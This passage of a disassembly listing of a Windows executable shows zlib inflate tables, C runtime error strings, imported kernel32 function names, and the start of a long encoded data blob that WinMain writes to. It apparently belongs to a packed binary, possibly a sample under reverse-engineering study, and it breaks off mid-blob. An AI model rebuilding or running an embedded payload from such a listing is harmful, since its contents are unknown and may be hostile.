50006h, 50016h dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh dd 50007h, 50017h byte_60C378 db 0 ; DATA XREF: .text:00601BCAr ; .text:00601F18r ... db 1, 2, 3 dd 5050404h, 6060606h, 7070707h, 2 dup(8080808h), 2 dup(9090909h) dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch) dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh) byte_60C478 db 0 ; DATA XREF: .text:00601BD6r ; .text:00601F24r ... align 2 dw 1110h dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2 dup(17171717h) dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah) dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh) byte_60C578 db 0 ; DATA XREF: .text:00601BABr ; .text:00601EF9r ... db 1, 2, 3 dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h) dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h) dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h) dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah) dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh dword_60C678 dd 0 ; DATA XREF: sub_604726+166r dd 1, 2, 3, 4, 5, 6, 7, 8, 0Ah, 0Ch, 0Eh, 10h, 14h, 18h dd 1Ch, 20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h, 80h, 0A0h dd 0C0h, 0E0h, 2 dup(0) dword_60C6F0 dd 0 ; DATA XREF: sub_604726+294r dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h dd 80h, 0C0h, 100h, 180h, 200h, 300h, 400h, 600h, 800h dd 0C00h, 1000h, 1800h, 2000h, 3000h, 4000h, 6000h, 60C800h dd 60C7F4h, 60C7F3h, 60C7E8h, 60C7D8h, 60C7CCh, 60C7B8h dd 60C7A8h, 60C790h, 60C7F3h, 6F636E69h, 7461706Dh, 656C6269h dd 72657620h, 6E6F6973h, 0 aBufferError db 'buffer error',0 align 4 aInsufficientMe db 'insufficient memory',0 aDataError db 'data error',0 align 4 aStreamError db 'stream error',0 align 4 aFileError db 'file error',0 byte_60C7F3 db 0 ; DATA XREF: __wincmdln+1Bo aStreamEnd db 'stream end',0 align 10h aNeedDictionary db 'need dictionary',0 stru_60C810 _msEH <0FFFFFFFFh, offset loc_6058C0, offset loc_6058D4> ; DATA XREF: start+2o aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_61289Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o ; ___security_error_handler+132o align 4 ; char asc_60CC08[] asc_60CC08 db 0Ah ; DATA XREF: __NMSG_WRITE+107o ; ___security_error_handler+FCo db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o ; ___security_error_handler+CCo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo ; ___security_error_handler+8Bo align 8 stru_60CC48 _msEH <0FFFFFFFFh, offset loc_607055, offset loc_607059> ; DATA XREF: sub_607028+2o align 8 stru_60CC58 _msEH <0FFFFFFFFh, offset loc_607099, offset loc_60709D> ; DATA XREF: sub_60706C+2o dd 41h dup(0) asc_60CD68: ; DATA XREF: .data:off_6129C0o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_60CF68 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .data:006129C4o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dword_60D16C dd 0 ; DATA XREF: ___crtGetStringTypeA+1Eo ; ___crtLCMapStringA+1Co stru_60D170 _msEH <0FFFFFFFFh, offset loc_6073A4, offset loc_6073A8> ; DATA XREF: ___crtGetStringTypeA+2o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 10h stru_60D1F0 _msEH <0FFFFFFFFh, offset sub_607FB1, offset sub_607FB5> ; DATA XREF: sub_607FC5-2Fo align 10h stru_60D200 _msEH <0FFFFFFFFh, offset loc_608444, offset loc_608448> ; DATA XREF: ___convertcp+2o align 10h stru_60D210 _msEH <0FFFFFFFFh, offset loc_608992, offset loc_608996> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 60878Fh, 608793h, 0FFFFFFFFh, 60885Dh, 608861h ; char aProgram[] aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o align 10h aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: ___security_error_handler+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: ___security_error_handler:loc_608CB2o align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: ___security_error_handler+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 ; char aUnknownSecurit[] aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: ___security_error_handler+47o align 4 stru_60D3D8 _msEH <0FFFFFFFFh, offset loc_608C8D, offset loc_608C91> ; DATA XREF: ___security_error_handler+5o align 8 dd 48h, 0Eh dup(0) dd offset dword_612AD0 dd offset dword_60D430 dd 2 dword_60D430 dd 7104h, 8038h, 0 ; DATA XREF: .rdata:0060D428o dword_60D43C dd 2 dup(0) ; DATA XREF: sub_607028+Co ; sub_607028:loc_60703Bo dword_60D444 dd 0 ; DATA XREF: sub_60706C+Co ; sub_60706C:loc_60707Fo dd 0D470h, 2 dup(0) dd 0D5A0h, 9000h, 5 dup(0) dd 0D53Ch, 0D54Ah, 0D55Ah, 0D566h, 0D578h, 0D58Ah, 0D5AEh dd 0D5BAh, 0D5CEh, 0D5E0h, 0D5F2h, 0D602h, 0D610h, 0D61Eh dd 0D62Ch, 0D63Ah, 0D64Ch, 0D660h, 0D674h, 0D680h, 0D690h dd 0D6ACh, 0D6C6h, 0D6DEh, 0D6F8h, 0D70Eh, 0D71Eh, 0D738h dd 0D74Ah, 0D758h, 0D76Ah, 0D780h, 0D792h, 0D79Ch, 0D7A8h dd 0D7B4h, 0D7C4h, 0D7D0h, 0D7E6h, 0D7F6h, 0D808h, 0D81Ah dd 0D82Ah, 0D83Ah, 0D84Ah, 0D856h, 0D870h, 0D880h, 0D896h dd 0D8ACh, 0 dd 784500AFh, 72507469h, 7365636Fh, 3730073h, 74726956h dd 416C6175h, 636F6C6Ch, 2060000h, 70616548h, 6F6C6C41h dd 19B0063h, 50746547h, 65636F72h, 65487373h, 7061h, 72430060h dd 65746165h, 636F7250h, 41737365h, 1750000h aGetmodulefilen db 'GetModuleFileNameA',0 align 10h aKernel32_dll db 'KERNEL32.dll',0 align 2 dw 20Ch aHeapfree db 'HeapFree',0 align 2 dw 177h aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 1AFh aGetstartupinfo db 'GetStartupInfoA',0 db 8 db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1DFh aGetversionexa db 'GetVersionExA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 db 8 db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 376h aVirtualfree db 'VirtualFree',0 db 10h db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 4Fh ; O db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 10h db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 94h ; ” db 3, 57h, 72h aItefile db 'iteFile',0 db 0B1h ; ± db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 10h db 60h ; ` db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 87h ; ‡ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h dd 46746547h, 54656C69h, 657079h, 654701B2h, 72745374h dd 54676E69h, 41657079h, 26B0000h aMultibytetowid db 'MultiByteToWideChar',0 db 0B5h ; µ db 1, 47h, 65h aTstringtypew db 'tStringTypeW',0 align 2 dw 0F5h aGetacp db 'GetACP',0 align 4 db 8Bh ; ‹ db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 0FCh ; ü align 2 aGetcpinfo db 'GetCPInfo',0 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 0CAh ; Ê db 2, 52h, 74h aLunwind db 'lUnwind',0 db 1Fh db 2, 49h, 6Eh aTerlockedexcha db 'terlockedExchange',0 dw 37Bh aVirtualquery db 'VirtualQuery',0 align 2 dw 16Ch aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 1BB0000h dd 53746547h, 65747379h, 666E496Dh, 23A006Fh, 614D434Ch dd 72745370h, 41676E69h, 23B0000h, 614D434Ch, 72745370h dd 57676E69h, 2120000h, 70616548h, 657A6953h, 2970000h aQueryperforman db 'QueryPerformanceCounter',0 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 10h db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 dd 654701C0h, 73795374h, 546D6574h, 41656D69h, 6C694673h dd 6D695465h db 65h, 0 _rdata ends ; Section 3. (virtual address 0000E000) ; Virtual size : 0000509C ( 20636.) ; Section size in file : 0000509C ( 20636.) ; Offset to raw data for section: 0000E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 60E000h dword_60E000 dd 0 ; DATA XREF: __cinit+45o dd offset ___security_init_cookie dword_60E008 dd 0 ; DATA XREF: __cinit+4Co dword_60E00C dd 0 ; DATA XREF: __cinit+12o dd offset ___initmbctable dd offset ___onexitinit dword_60E018 dd 0 ; DATA XREF: __cinit+17o dword_60E01C dd 0 ; DATA XREF: _doexit:loc_60666Eo dword_60E020 dd 0 ; DATA XREF: _doexit+6Co dword_60E024 dd 0 ; DATA XREF: _doexit:loc_60668Do dword_60E028 dd 2 dup(0) ; DATA XREF: _doexit+8Bo byte_60E030 db 87h ; DATA XREF: WinMain(x,x,x,x):loc_6010BFw ; WinMain(x,x,x,x)+ABo db 63h, 12h, 84h dd 0A8ACAB80h, 0CFAD8049h, 0DAE40DDEh, 0BB7B236Fh, 0EFF7EC8Dh dd 0F6F6F03Dh, 75E5DB2Fh, 758FB956h, 0EAFB0FD2h, 0AB153FAEh dd 0BEAEBD1Fh, 2956EB1Dh, 0C4AC5AA3h, 5C4E52A0h, 0C31D3962h dd 4E85CB12h, 9E38B7C5h, 8A92E72Ah, 2929420Fh, 10A41628h dd 1204B32h, 39A9C4Fh, 5D13966h, 7B231822h, 4A1892DFh dd 194414A2h, 9A881070h, 0E0611A2h, 4C1304C6h, 1084C130h dd 547A318Ch, 5F556F01h, 0E1EA6B93h, 48AE4979h, 0AE81721Fh dd 5C0087Eh, 4A2313DEh, 4326C988h, 181E02F0h, 2CBD090h dd 0BD9B6E1Dh, 99E4A636h, 0CA8D9B6Bh, 0CB1C94D6h, 4176AB2Dh dd 6947A4CDh, 0EA516F94h, 6BB9A958h, 0B698D537h, 85D47A2Dh dd 0F1979319h, 0E56BAF2Fh, 54D6C8A9h, 0F5307D75h, 0EC2E9E8Ah dd 2BA2E207h, 4EEB10F7h, 0AC1ABF69h, 93176904h, 7D5258EBh dd 30308385h, 7134F898h, 864969AFh, 27C9F492h, 7288DF15h dd 0ED42A4D2h, 6C3FC901h, 0B5EAE7E0h, 4A1C4D48h, 52485EAEh dd 0C9B161E8h, 4AAC71A2h, 721D89D3h, 200B00ACh, 0ADC541F5h dd 2D1190F0h, 0BD15473Fh, 9480F883h, 0EA5124D6h, 82FB0B23h dd 9E85727Dh, 89139F82h, 70231987h, 0D4CF96FCh, 0F283CB6Dh dd 0EA01985Bh, 0A5FEEBB5h, 47240F4h, 47098h, 3100100h dd 9CFC41BBh, 199B65F8h, 441C0C22h, 249488D3h, 89B8AB93h dd 9460892h, 81926B7Ah, 111A6C83h, 8A873FCEh, 55DEDA99h dd 1A476547h, 5E6C7747h, 0C13611A5h, 20107016h, 0D023544Eh dd 1A434215h, 85279047h, 0C025D025h, 531C9CCh, 60DE10E3h dd 0C55409Fh, 1256398Dh, 8D436618h, 0ABAF9170h, 84AC119Eh dd 244B59Ch, 733C8649h, 54270B51h, 3421C3A2h, 0C86994DDh dd 1D082944h, 60A9A84Eh, 0C0D27402h, 4A8B9D75h, 0F712A138h dd 88734844h, 0F3C51967h, 6C1321BCh, 7C405F4Bh, 0CBA0E118h dd 0A0BA02F9h, 0B885F60Ah, 8691E875h, 4BA16641h, 983CC07Ch dd 9B404D17h, 0F1CB15E0h, 9103338h, 651863D0h, 0A2881381h dd 0A4389C2Eh, 40BC098Dh, 90A12132h, 161052B3h, 60A8F89Ch dd 56F80Ah, 847E1C51h, 6E9E21E9h, 8D0B22AAh, 0D00C1E3Ah dd 0E73E521Ah, 0F138E420h, 90D52149h, 32290D2h, 4E561056h dd 0B1A4A8h, 42903AB8h, 9D009545h, 5AEA62CCh, 0CC4A97E6h dd 0D502BCB6h, 4740110h, 0A69D49A8h, 304474EBh, 0EB06FAA2h dd 0FE6111A4h, 18C57286h, 0BC1C6089h, 1BFA9681h, 0A1E6D40Bh dd 9F9792CAh, 2F259987h, 5849CB3Ah, 0F0F8AEBAh, 91A712BDh dd 304457Ch, 431ADE10h, 0C5727B0Fh, 0DD11A730h, 4C069703h dd 0A4D75D4Ch, 57A90608h, 0EC8095DEh, 513146BAh, 51E6935Bh dd 0C9AE28E8h, 0A84B6320h, 0D229920Ch, 588DA03h, 455A685Dh dd 0F1953E55h, 706D54A5h, 16F2B5FFh, 67333DF3h, 0CB913978h dd 5C906743h, 98F7950Dh, 15725AABh, 0DB577243h, 2039540Dh dd 7A8D7D95h, 9ADAA114h, 0BCF7025Ch, 0FA509145h, 0D02649B1h dd 0A73D48E1h, 94E390DDh, 23935CD5h, 75529CE4h, 0E3EBF22h dd 7FA1DDBh, 0E8BB995Fh, 0EBC193A2h, 651676BAh, 24834DECh dd 61949F27h, 6FA22DEFh, 0A089F409h, 21722034h, 77A9431h dd 0F6650A42h, 0D4A00840h, 0BC5D8879h, 0F4B01B88h, 28A17D02h dd 49AFB0F8h, 3E80CBC4h, 0C1885F5Fh, 3F59432Fh, 39478D7h dd 0D1C935AEh, 658EDA27h, 3B572629h, 2A4E19C2h, 10BF5A50h dd 6BE1D1h, 7E3F0C04h, 9128266Dh, 1A40D15Ch, 58AE4E95h dd 0D1A94849h, 8C4E935Dh, 0B9E0A938h, 4F382E57h, 0AE781743h dd 69E1B091h, 8737FB8Eh, 675D5C7Fh, 0ED6BD739h, 0CE7B1720h dd 12806073h, 0DAD732E7h, 68576A31h, 6070EF3h, 0B996B83Ch dd 0C34BAF7Eh, 0C46E575h, 6979F113h, 3966B5FBh, 6189AFD2h dd 4AAD502Eh, 0DC0652B2h, 9F15472Bh, 0FDC9BBC9h, 0CDED5A0Eh dd 5945AD43h, 9920C6DDh, 0B882CA59h, 45E52E94h, 43FE5F8Eh dd 1DB3A357h, 88DC6A41h, 0E5FB11B1h, 0B7D3B28Bh, 0A9030393h dd 0E9A376BBh, 33F12D7Ch, 0F6ACA2EAh, 0CA493812h, 23E62373h dd 0FEE06E7Eh, 68B29BADh, 5D8DE666h, 295B1113h, 29380114h dd 0F8527D8Dh, 0EE1E3061h, 8CF7E19Dh, 63DCB5D1h, 7D2995E7h dd 2BB0B97Bh, 0FBC0DFB1h, 8444135Bh, 76017013h, 0FC37E1C2h dd 6576632h, 1E1C2EEh, 3691C256h, 0E39C7604h, 0F1C20E02h dd 0A3A15C08h, 0E2DF7076h, 0D5DC8A14h, 0D5F10180h, 0D5980194h dd 0E0221DEDh, 1C24C830h, 48396042h, 0AC02677Bh, 2B026B84h dd 170198E1h, 0ED02FAE1h, 0DD4BDA9Dh, 5FA2B93Eh, 735F3D94h dd 3CC37997h, 0B6CA2C8Ch, 411748D7h, 63410663h, 118D80C4h dd 28C6821Bh, 10184682h, 63619234h, 0B302F25Ch, 6487E15Ch dd 0A5F65Eh, 13B91FD7h, 0DC407E53h, 8A5B9788h, 59458D5Dh dd 21949EECh, 0E4C4DE69h, 0A6E9FAACh, 5CB306Ah, 1A73E25Fh dd 5E48ABB2h, 591B7DADh, 7779979Fh, 0B5576A7Fh, 0F6C2D365h dd 0BC338BF2h, 524FB5h, 0E602D67Ah, 0FC206901h, 78979694h dd 379A084Dh, 7D868099h, 0A2468399h, 0F58245DCh, 0FA609178h dd 0F204943h, 0FB887865h, 7FBC1513h, 7F10F0Bh, 30F0B1F2h dd 12223012h, 4740C22Fh, 0D7C920D1h, 0A0BF4B8Fh, 0BE3621E1h dd 1175FF3Eh, 0DF0A3966h, 0A9D6CE88h, 92AB2555h, 0DEB6DA9Dh dd 0F3E3E536h, 0CB36AF90h, 5AC55C89h, 0FA1FA387h, 90FE6921h dd 7370FCA6h, 0C4CF8317h, 0B2795ED4h, 233AB0CAh, 5E44865Eh dd 0A9CF9812h, 4BCF6CC4h, 0ADF93E4Ch, 456716Dh, 6CC4B592h dd 874D7411h, 6D41320Ch, 0BA0E808Ah, 918B868Ah, 9EC05F60h dd 56382057h, 0F4A814Dh, 502B52D1h, 12640D0Ch, 8462A898h dd 4690A0B6h, 0E4111407h, 7CAE2CB3h, 7A5405C2h, 7CE718FAh dd 0D24617ECh, 2089E8E8h, 0D38B2B27h, 0EBDC723Eh, 90E83344h dd 0B8EF6CE8h, 43D4DD07h, 75370903h, 0BA7D21D2h, 12D5F841h dd 0BC6986D0h, 971D2EDBh, 64D00A16h, 570D91D0h, 823658F9h dd 51230304h, 40AD45AAh, 3A5F8057h, 44217D54h, 414A6243h dd 0BBE3A538h, 0FDBA37E9h, 771D54C1h, 8D8CF5B4h, 1BB73178h dd 27EC13C2h, 756EA9F8h, 0A410CBE7h, 1AB635A2h, 0A1CA61F2h dd 0C4A712A2h, 30FD105Ah, 0C8BC90F0h, 0F60BE45Ch, 88C55CE3h dd 0CABE9898h, 8FE9A508h, 0CDC5F064h, 59BE5F89h, 0C1516CEDh dd 0E09D942Fh, 0B4243AB7h, 0AC067961h, 0F0BF5345h, 0E5C6D183h dd 9A079976h, 2641945Bh, 966780AFh, 820DC7BBh, 0ABB808D7h dd 2115F8AAh, 9EB0C57Ah, 12BF450Ch, 1D1293C8h, 2BFA12BFh dd 1C57EE2Dh, 0FC948A4Ch, 0B15ECC8Ah, 0CA2E8C19h, 0FDDDA057h dd 0FEE2D11Ah, 91CB3690h, 5FF497B9h, 5888281Ah, 9DCFD1DFh dd 0BD47B9D2h, 13B9C4F7h, 0F4F9DEF0h, 7BC79DEFh, 0DEE2C227h dd 84EF7949h, 7BCF9DCFh, 0C05DCF9Fh, 7DFE0F7Bh, 0B06C9B47h dd 0F7F301DFh, 8D44C50Dh, 0E7901DCFh, 477EC5AEh, 0A85AB891h dd 0EFF96AFh, 625773B8h, 744223BFh, 0AAD1DE85h, 9D395778h dd 55DE9655h, 8E992385h, 773CDEF7h, 0C5BBDE8Ah, 0DEF253B9h dd 0D55DCECDh, 3B9F6F7Bh, 0EF5DEF35h, 0BBDED3DCh, 0F0D3B9C4h dd 3B9F69DEh, 0CE9DEF43h, 0EF784BB9h, 0F7577389h, 0EEE793DEh dd 0EA93BDEAh, 0F79EBBDFh, 0BBDE2D1Eh, 0F44EF787h, 0F7ECB3DCh dd 0ABDB7A6Fh, 9695E584h, 5A0AAA82h, 0CCB36F1Bh, 0E2FFA30Eh dd 0EB232079h, 1D30423Fh, 6475A0E9h, 649C863Fh, 9D606F28h dd 2BDCC15h, 58023FA0h dd 3CF78578h, 377BDDF7h, 0F786F73Dh, 9EEE796Eh, 0DFFBBBDEh dd 0DE0B683Bh, 35EFFA7Bh, 0DB6C6E14h, 6CC6EE7Ah, 0C8EE7ADBh dd 0DE88F7BCh, 0DEF463BDh, 1DEFDC85h, 0F78EF7A1h, 0BDE701DCh dd 707739E3h, 0E73277BDh, 9F7BDA8Eh, 0EF741DCFh, 68EE783Dh dd 0B9D396D9h, 43BDEC43h, 7A60EE74h, 0C913745Bh, 0B8EF598Eh dd 9E095333h, 9778803Bh, 21CB3F33h, 0E7A45B63h, 0A45B641Eh dd 0F7890EE7h, 9CEE722Eh, 0B9EABBDEh, 79DB6CCFh, 0B6D924EEh dd 0B2B1DCF3h, 0BDF1A76Dh, 4EDB6613h, 0E3C77BA7h, 0EE74C3BDh dd 0E12DB130h, 0BDEA2773h, 0D78EE72Fh, 0DCEC877Bh, 0DA3BDE63h dd 0BDEFC773h, 42EE7C83h, 0B9F1BBDEh, 0BE5B6363h, 4B671EE7h dd 0C23DCEE5h, 1DFDCA96h, 0DBD2D26Dh, 0A7B9F1ACh, 0EAEFD92Ch dd 8DA8B967h, 0A0B0796Fh, 3917774Ah, 4AF78CD7h, 0D9E55CFBh dd 73DD3BAFh, 0E5DEF157h, 0F7B29DCFh, 0BA773A9Eh, 7D0BBDEh dd 350A2AF9h, 0FA61DEFh, 32B45DDCh, 0E7343BDEh, 5F7BDB4Eh dd 0F7869DCEh, 9EE7A00Eh, 9ED1DEF6h, 1DEF053Bh, 0EFA773DCh dd 773FA3BDh, 0F3DDEF69h, 0EFD80DDCh, 2826F6A6h, 0F168DEF4h dd 6B0DEACEh, 94683DB5h, 0C9567590h, 5D9E22F0h, 65E4B980h dd 27AD4543h, 68E3A972h, 78D218C7h, 0CCF62C22h, 0EA193713h dd 8636918Bh, 5E667849h, 22808876h, 0E13F1FC9h, 9312FE49h dd 31ECA0Ah, 0B3127478h, 0BA2AA460h, 4F9A421h, 0BD404BD3h dd 0A31DA669h, 0B848FE47h, 0DC4E0FC4h, 669182D2h, 2DCC53EDh dd 27C9745Ch, 5ABA758Ah, 0C2DFDAEFh, 73BF8AACh, 0E443752Eh dd 3C5C534Dh, 0E81E2A73h, 2088D227h, 2ABC677Fh, 0E9E45DCFh dd 858B53BEh, 6D7821D6h, 7E65DF48h, 0D48F1CE2h, 99A4F873h dd 0A079A8BCh, 0EE28F40Fh, 170F3057h, 389575B1h, 25ED42FAh dd 6EE5989Fh, 7BE310DAh, 0D55AE5E2h, 7BEDEAD9h, 0A3952D7Ah dd 8489795h, 5E4CE3E2h, 79AD65C2h, 25D33234h, 235DDE86h dd 4BDA0791h, 40A1BCA6h, 4B017240h, 2E34ED75h, 6F942C1h dd 0A4F20E4h, 320900EBh, 218D293Dh, 1DA55DC8h, 0BFCBFD69h dd 0E71F0511h, 18F2220Dh, 0C4D902E7h, 8D388E8Ch, 41A44E27h dd 29F80C5Bh, 2C37E557h, 8CD6B0BFh, 0D46EFA41h, 6A7040B7h dd 0ACE84874h, 48EBBF93h, 2CC8D610h, 8216F6A6h, 0D7D9E73Eh dd 0E946644Eh, 1408F627h, 0D2E7D1C4h, 0E862FC92h, 0A1E2697Bh dd 3A08D1Ch, 0E26634EDh, 62CA4D1Ch, 0BEC8E8D0h, 31B714B2h dd 5170BB1Dh, 9140E025h, 0F2B13144h, 51CD702Bh, 5C111564h dd 4A9CE176h, 25357FA0h, 0B2FB98D3h, 8F33EEEDh, 0B7C8B840h dd 0AF37F328h, 0D3E819A3h, 74C2234Eh, 176E225Bh, 27C8E3E4h dd 721840B0h, 0ABCC1BA6h, 0E50B9CEEh, 2A2B4627h, 0DF54269Eh dd 7F56C44Dh, 0D3C96FF7h, 0D025C43Eh, 0FF41948Fh, 22F1645Dh dd 6BD4A1B6h, 7772754h, 264C33CAh, 0FDD2A039h, 0C594D1F6h dd 0B9C694DDh, 0D3A01171h, 121E6065h, 0F0474978h, 18E3B528h dd 0FD97E4D3h, 879F9562h, 0EB93BAD4h, 2DF4D372h, 70B8EBCAh dd 45C06537h, 87E78047h, 41C25D64h, 8D5ABA18h, 7136C9B0h dd 0D1556BEh, 23019BC5h, 3B5CA9CBh, 9E38B157h, 9D577714h dd 93058EBh, 8944FDF4h, 4827DE04h, 4EF6BD68h, 473AE741h dd 0AABCE113h, 0DF445DC6h, 0F24AC768h, 36E894B7h, 78F63290h dd 0D1CDA2E7h, 180ED647h, 31CB3581h, 0A2E1697Bh, 52870323h dd 0C6784241h, 37CF0FC7h, 9B09685Bh, 9BF5F058h, 0E42971Eh dd 3826131Bh, 0EE05C5E2h, 736B17C6h, 4DA1BB96h, 9090522Ch dd 9AD68202h, 0FB056A1Ch, 5B390CDh, 0FD9C3A42h, 6FA5B526h dd 0A1B9CE8Bh, 0D241A603h, 7614E609h, 8380E167h, 4CC8BC6Dh dd 0BCAC52E7h, 72472CD9h, 0E057A2C2h, 3DA3322Ah, 1B902D17h dd 0E0407999h, 0F4C31ABAh, 0C5B3962Eh, 7332341Fh, 0B792F297h dd 0C64316E4h, 0AE28291h, 49C9AEF0h, 4DB77950h, 0CDA8C7EDh dd 413B31C3h, 597FB9BEh, 9BA55418h, 9D6BF55Dh, 758228Fh dd 17097963h, 5DC2862Dh, 36285F7Ah, 0ACE9728Bh, 0F611FCB7h dd 0F6FFE189h, 5CC4DBCAh, 957EBE4Bh, 4F520DF1h, 0FA383D91h dd 51EB3410h, 28B7E986h, 37BBD99h, 